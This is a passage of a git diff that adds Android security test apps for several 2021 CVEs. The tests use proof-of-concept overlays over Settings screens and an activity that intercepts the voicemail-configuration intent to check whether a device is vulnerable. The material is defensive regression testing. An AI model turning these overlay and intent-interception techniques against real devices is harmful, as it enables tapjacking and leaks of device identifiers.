b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml new file mode 100644 index 00000000000..dcdbe0aa788 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml @@ -0,0 +1,19 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<resources> + <string name="overlay_button">OverlayButton</string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java new file mode 100644 index 00000000000..e0fc3370936 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java @@ -0,0 +1,107 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.cve_2021_0523; + +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.provider.Settings; +import androidx.test.runner.AndroidJUnit4; +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.BySelector; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.Until; +import java.io.IOException; +import java.util.regex.Pattern; +import org.junit.Before; +import org.junit.runner.RunWith; +import org.junit.Test; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertNull; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + private static final String TEST_PKG = "android.security.cts.cve_2021_0523"; + private static final String TEST_PKG_WIFI = "com.android.settings"; + private static final int LAUNCH_TIMEOUT_MS = 20000; + private UiDevice mDevice; + String activityDump = ""; + + private void startOverlayService() { + Context context = getApplicationContext(); + if (Settings.canDrawOverlays(getApplicationContext())) { + Intent intent = new Intent(getApplicationContext(), PocService.class); + context.startService(intent); + } else { + try { + Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + context.startActivity(intent); + } catch (Exception e) { + e.printStackTrace(); + } + } + } + + @Before + public void startMainActivityFromHomeScreen() { + mDevice = UiDevice.getInstance(getInstrumentation()); + Context context = getApplicationContext(); + assertNotNull(context); + PackageManager packageManager = context.getPackageManager(); + assertNotNull(packageManager); + final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG); + assertNotNull(intent); + intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); + /* Start the launcher activity */ + context.startActivity(intent); + /* Wait for the WifiScanModeActivity */ + if (!mDevice.wait(Until.hasObject(By.pkg(TEST_PKG_WIFI).depth(0)), LAUNCH_TIMEOUT_MS)) { + return; + } + /* Start the overlay service */ + startOverlayService(); + } + + @Test + public void testOverlayButtonPresence() { + Pattern pattern = Pattern.compile( + getApplicationContext().getResources().getString(R.string.overlay_button), + Pattern.CASE_INSENSITIVE); + BySelector selector = By.text(pattern); + /* Wait for an object of the overlay window */ + if (!mDevice.wait(Until.hasObject(selector.depth(0)), LAUNCH_TIMEOUT_MS)) { + return; + } + /* Check if the currently running activity is WifiScanModeActivity */ + try { + activityDump = mDevice.executeShellCommand("dumpsys activity"); + } catch (IOException e) { + throw new RuntimeException("Could not execute dumpsys activity command"); + } + Pattern activityPattern = Pattern.compile("mResumedActivity.*WifiScanModeActivity.*\n"); + if (!activityPattern.matcher(activityDump).find()) { + return; + } + String message = "Device is vulnerable to b/174047492 hence any app with " + + "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen"; + assertNull(message, mDevice.findObject(selector)); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java index 0ba69f5bc8f..a28b337a327 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java @@ -18,60 +18,16 @@ package android.security.cts.cve_2021_0523; import android.app.Activity; import android.content.Intent; -import android.content.Context; import android.net.wifi.WifiManager; -import android.os.Build; import android.os.Bundle; -import android.os.PowerManager; -import android.os.PowerManager.WakeLock; -import android.provider.Settings; public class PocActivity extends Activity { - private WakeLock mScreenLock; - private Context mContext; - - private void startOverlayService() { - if (Settings.canDrawOverlays(this)) { - Intent intent = new Intent(PocActivity.this, PocService.class); - startService(intent); - } else { - try { - Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION); - startActivityForResult(intent, 1); - } catch (Exception e) { - e.printStackTrace(); - } - } - } - - private void stopOverlayService() { - Intent intent = new Intent(PocActivity.this, PocService.class); - stopService(intent); - } @Override protected void onCreate(Bundle savedInstanceState) { - mContext = this.getApplicationContext(); - PowerManager pm = mContext.getSystemService(PowerManager.class); - mScreenLock = pm.newWakeLock( - PowerManager.SCREEN_BRIGHT_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP, - "PocActivity"); - mScreenLock.acquire(); - try { - Thread.sleep(6000); - } catch (Exception e) { - e.printStackTrace(); - } super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); - startOverlayService(); Intent intent = new Intent(WifiManager.ACTION_REQUEST_SCAN_ALWAYS_AVAILABLE); - startActivityForResult(intent, 2); - } - - @Override - protected void onDestroy() { - super.onDestroy(); - mScreenLock.release(); + startActivity(intent); } } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java index bef2beb81ed..9b013b85944 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java @@ -84,9 +84,8 @@ public class PocService extends Service { private void showFloatingWindow() { if (Settings.canDrawOverlays(this)) { mButton = new Button(getApplicationContext()); - mButton.setBackgroundColor(Color.parseColor("#BEBEBE")); // R-BE G-BE B-BE + mButton.setText(getResources().getString(R.string.overlay_button)); mWindowManager.addView(mButton, mLayoutParams); - mButton.setOnTouchListener(new FloatingOnTouchListener()); new Handler().postDelayed(new Runnable() { @Override public void run() { @@ -96,25 +95,4 @@ public class PocService extends Service { mButton.setTag(mButton.getVisibility()); } } - - private static class FloatingOnTouchListener implements View.OnTouchListener { - - @Override - public boolean onTouch(View view, MotionEvent event) { - view.setDrawingCacheEnabled(true); - view.buildDrawingCache(); - Bitmap bitmap = view.getDrawingCache(); - int pixel = bitmap.getPixel(getScreenWidth() / 2, getScreenHeight() / 2); - int red = Color.red(pixel); - int green = Color.green(pixel); - int blue = Color.blue(pixel); - view.setDrawingCacheEnabled(false); - if ((red == 0xBE) && (green == 0xBE) && (blue == 0xBE)) { - throw new RuntimeException( - "Device is vulnerable to b/174047492 hence any app with " + - "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen"); - } - return false; - } - } } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java index 73c8e10e005..3ffb7df9664 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java @@ -16,30 +16,34 @@ package android.security.cts.cve_2021_0586; +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.fail; + import android.content.Context; import android.content.Intent; import android.content.pm.PackageManager; import android.net.Uri; + import androidx.test.runner.AndroidJUnit4; import androidx.test.uiautomator.By; import androidx.test.uiautomator.BySelector; import androidx.test.uiautomator.UiDevice; import androidx.test.uiautomator.Until; -import java.io.IOException; -import java.util.regex.Pattern; + import org.junit.Before; -import org.junit.runner.RunWith; import org.junit.Test; +import org.junit.runner.RunWith; -import static androidx.test.core.app.ApplicationProvider.getApplicationContext; -import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; -import static org.junit.Assert.assertNotNull; +import java.io.IOException; +import java.util.regex.Pattern; @RunWith(AndroidJUnit4.class) public class DeviceTest { private static final String TEST_PKG = "android.security.cts.cve_2021_0586"; - private static final String TEST_PKG_BT = "com.android.settings"; private static final int LAUNCH_TIMEOUT_MS = 20000; + private Pattern overlayTextPattern; private UiDevice mDevice; String activityDump = ""; @@ -68,26 +72,29 @@ public class DeviceTest { final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG); assertNotNull(intent); intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); + /* Start the launcher activity */ context.startActivity(intent); - Pattern pattern = Pattern.compile( + overlayTextPattern = Pattern.compile( getApplicationContext().getResources().getString(R.string.overlay_button), Pattern.CASE_INSENSITIVE); + } + + @Test + public void testOverlayButtonPresence() { /* Wait for the overlay window */ - if (!mDevice.wait(Until.hasObject(By.text(pattern).depth(0)), LAUNCH_TIMEOUT_MS)) { + if (!mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS)) { return; } + /* Start the DevicePickerActivity */ startDevicePickerActivity(); - } - @Test - public void testOverlayButtonPresence() { - BySelector selector = By.pkg(TEST_PKG_BT); - /* Wait for an object of DevicePickerActivity */ - if (mDevice.wait(Until.hasObject(selector.depth(0)), LAUNCH_TIMEOUT_MS)) { + /* Wait until the object of launcher activity is gone */ + if (mDevice.wait(Until.gone(By.pkg(TEST_PKG)), LAUNCH_TIMEOUT_MS)) { return; } + /* Check if the currently running activity is DevicePickerActivity */ try { activityDump = mDevice.executeShellCommand("dumpsys activity"); @@ -98,8 +105,10 @@ public class DeviceTest { if (!activityPattern.matcher(activityDump).find()) { return; } + + /* Failing the test as fix is not present */ String message = "Device is vulnerable to b/182584940 hence any app with " + "SYSTEM_ALERT_WINDOW can overlay the Bluetooth DevicePickerActivity screen"; - assertNotNull(message, mDevice.findObject(selector)); + fail(message); } } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp new file mode 100644 index 00000000000..770b5a2089e --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp @@ -0,0 +1,33 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +android_test_helper_app { + name: "CVE-2021-0642", + defaults: [ + "cts_support_defaults", + ], + srcs: ["src/**/*.java"], + test_suites: [ + "sts", + ], + static_libs: [ + "androidx.test.core", + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + ], + sdk_version: "current", +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml new file mode 100644 index 00000000000..fadda577403 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml @@ -0,0 +1,44 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.security.cts.cve_2021_0642" + android:versionCode="1" + android:versionName="1.0"> + <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" /> + <application + android:allowBackup="true" + android:label="CVE-2021-0642" + android:supportsRtl="true"> + + <activity + android:name=".PocActivity" + android:exported="true"> + <intent-filter> + <action android:name="android.intent.action.MAIN" /> + <category android:name="android.intent.category.LAUNCHER" /> + </intent-filter> + <intent-filter> + <action android:name="android.telephony.action.CONFIGURE_VOICEMAIL" /> + <category android:name="android.intent.category.DEFAULT" /> + </intent-filter> + </activity> + </application> + + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.cve_2021_0642" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml new file mode 100644 index 00000000000..7460b96ae6b --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml @@ -0,0 +1,26 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<LinearLayout + xmlns:android="http://schemas.android.com/apk/res/android" + android:orientation="vertical" + android:layout_width="match_parent" + android:layout_height="match_parent"> + <View + android:id="@+id/drawableview" + android:layout_width="match_parent" + android:layout_height="300dp" /> +</LinearLayout> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java new file mode 100644 index 00000000000..8fc235ba9da --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java @@ -0,0 +1,100 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.cve_2021_0642; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; +import static org.hamcrest.CoreMatchers.notNullValue; +import static org.junit.Assert.assertThat; +import static org.junit.Assert.assertTrue; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeTrue; + +import android.content.ActivityNotFoundException; +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.telephony.TelephonyManager; + +import androidx.test.runner.AndroidJUnit4; +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.BySelector; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.UiObject2; +import androidx.test.uiautomator.Until; + +import java.util.List; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + static final String APP_TITLE = "CVE-2021-0642"; + static final String PACKAGE_NAME = "com.android.phone"; + static final int LAUNCH_TIMEOUT_MS = 20000; + + @Test + public void testCVE_2021_0642() { + UiDevice device = UiDevice.getInstance(getInstrumentation()); + Context context = getApplicationContext(); + assertThat(context, notNullValue()); + PackageManager packageManager = context.getPackageManager(); + assertThat(packageManager, notNullValue()); + assumeTrue(packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)); + final Intent intent = new Intent(TelephonyManager.ACTION_CONFIGURE_VOICEMAIL); + intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + try { + context.startActivity(intent); + } catch (ActivityNotFoundException e) { + assumeNoException(e); + } + + // Check if "com.android.phone" exists on the system + try { + packageManager.getPackageUid(PACKAGE_NAME, 0); + } catch (PackageManager.NameNotFoundException e) { + assumeNoException(e); + } + + // Wait for activity (which is part of package "com.android.phone") that + // handles ACTION_CONFIGURE_VOICEMAIL to get launched + boolean isVoicemailVisible = + device.wait(Until.hasObject(By.pkg(PACKAGE_NAME)), LAUNCH_TIMEOUT_MS); + + // To check if PocActivity was launched + BySelector selector = By.enabled(true); + List<UiObject2> objects = device.findObjects(selector); + boolean isPocActivityVisible = false; + for (UiObject2 o : objects) { + String visibleText = o.getText(); + if ((visibleText != null) && (visibleText.equalsIgnoreCase(APP_TITLE))) { + isPocActivityVisible = true; + break; + } + } + device.pressHome(); + + assumeTrue(isVoicemailVisible || isPocActivityVisible); + + String outputMsg = "Device is vulnerable to b/185126149 " + + "hence sensitive Iccid could be sniffed by intercepting " + + "ACTION_CONFIGURE_VOICEMAIL implicit intent"; + assertTrue(outputMsg, ((isVoicemailVisible) && (!isPocActivityVisible))); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java new file mode 100644 index 00000000000..1a335c76444 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java @@ -0,0 +1,22 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.cve_2021_0642; + +import android.app.Activity; + +public class PocActivity extends Activity { +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp new file mode 100644 index 00000000000..c4589762fe8 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp @@ -0,0 +1,40 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "CVE-2021-0953", + defaults: [ + "cts_support_defaults", + ], + srcs: [ + "src/**/*.java", + ], + test_suites: [ + "cts", + "vts10", + "sts", + ], + static_libs: [ + "androidx.test.core", + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + ], + platform_apis: true, +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml new file mode 100644 index 00000000000..ddc942fd44a --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml @@ -0,0 +1,45 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.security.cts.CVE_2021_0953" + android:versionCode="1" + android:versionName="1.0"> + <application + android:label="CVE-2021-0953" + android:supportsRtl="true"> + <activity + android:name=".PocActivity" + android:exported="true"> + <intent-filter> + <action android:name="android.intent.action.MAIN"/> + <category android:name="android.intent.category.LAUNCHER"/> + </intent-filter> + </activity> + <activity + android:name=".PocVulnerableActivity" + android:exported="true"> + <intent-filter> + <action android:name="android.speech.action.WEB_SEARCH"/> + <category android:name="android.intent.category.DEFAULT"/> + </intent-filter> + </activity> + </application> + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.CVE_2021_0953" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml new file mode 100644 index 00000000000..13651bd8010 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml @@ -0,0 +1,27 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<LinearLayout + xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:app="http://schemas.android.com/apk/res-auto" + android:orientation="vertical" + android:layout_width="match_parent" + android:layout_height="match_parent"> + <View + android:layout_width="match_parent" + android:layout_height="match_parent"/> +</LinearLayout> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml new file mode 100644 index 00000000000..2d3268bef08 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml @@ -0,0 +1,26 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<LinearLayout + xmlns:android="http://schemas.android.com/apk/res/android" + android:layout_width="match_parent" + android:layout_height="match_parent"> + <View + android:id="@+id/pocVulnerableActivity" + android:layout_width="match_parent" + android:layout_height="match_parent"/> +</LinearLayout> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml new file mode 100644 index 00000000000..c027ecfcd78 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml @@ -0,0 +1,22 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<resources> + <integer name="assumption_failure">-1</integer> + <integer name="pass">0</integer> + <integer name="fail">1</integer> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml new file mode 100644 index 00000000000..69988650620 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml @@ -0,0 +1,22 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<resources> + <string name="callback_key">testMutablePendingIntentCallback</string> + <string name="message_key">testMutablePendingIntentMessage</string> + <string name="status_key">testMutablePendingIntentStatus</string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java new file mode 100644 index 00000000000..ee5dac6d122 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java @@ -0,0 +1,100 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_0953; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static org.junit.Assert.assertNotEquals; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeTrue; + +import android.app.Activity; +import android.content.Context; +import android.content.Intent; +import android.os.Bundle; +import android.os.RemoteCallback; + +import androidx.test.runner.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + public static final int TIMEOUT_SEC = 20; + public static final String TEST_PACKAGE = "android.security.cts.CVE_2021_0953"; + + @Test + public void testMutablePendingIntent() { + final Context context = getApplicationContext(); + PocStatus status = new PocStatus(); + CompletableFuture<PocStatus> callbackReturn = new CompletableFuture<>(); + RemoteCallback cb = new RemoteCallback((Bundle result) -> { + PocStatus pocStatus = new PocStatus(); + pocStatus.setErrorMessage( + result.getString(context.getResources().getString(R.string.message_key))); + pocStatus.setStatusCode( + result.getInt(context.getResources().getString(R.string.status_key))); + callbackReturn.complete(pocStatus); + }); + launchActivity(PocActivity.class, cb); // start activity with callback + try { + // blocking while the remotecallback is unset + status = callbackReturn.get(TIMEOUT_SEC, TimeUnit.SECONDS); + } catch (InterruptedException | ExecutionException | TimeoutException e) { + assumeNoException(e); + } + assumeTrue(status.getErrorMessage(), status.getStatusCode() != context.getResources() + .getInteger(R.integer.assumption_failure)); + assertNotEquals(status.getErrorMessage(), status.getStatusCode(), + context.getResources().getInteger(R.integer.fail)); + } + + private void launchActivity(Class<? extends Activity> clazz, RemoteCallback cb) { + final Context context = getApplicationContext(); + final Intent intent = new Intent(Intent.ACTION_MAIN); + intent.setClassName(TEST_PACKAGE, clazz.getName()); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intent.putExtra(context.getResources().getString(R.string.callback_key), cb); + context.startActivity(intent); + } + + private class PocStatus { + private int statusCode; + private String errorMessage; + + public void setStatusCode(int status) { + statusCode = status; + } + + public void setErrorMessage(String message) { + errorMessage = message; + } + + public int getStatusCode() { + return statusCode; + } + + public String getErrorMessage() { + return errorMessage; + } + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java new 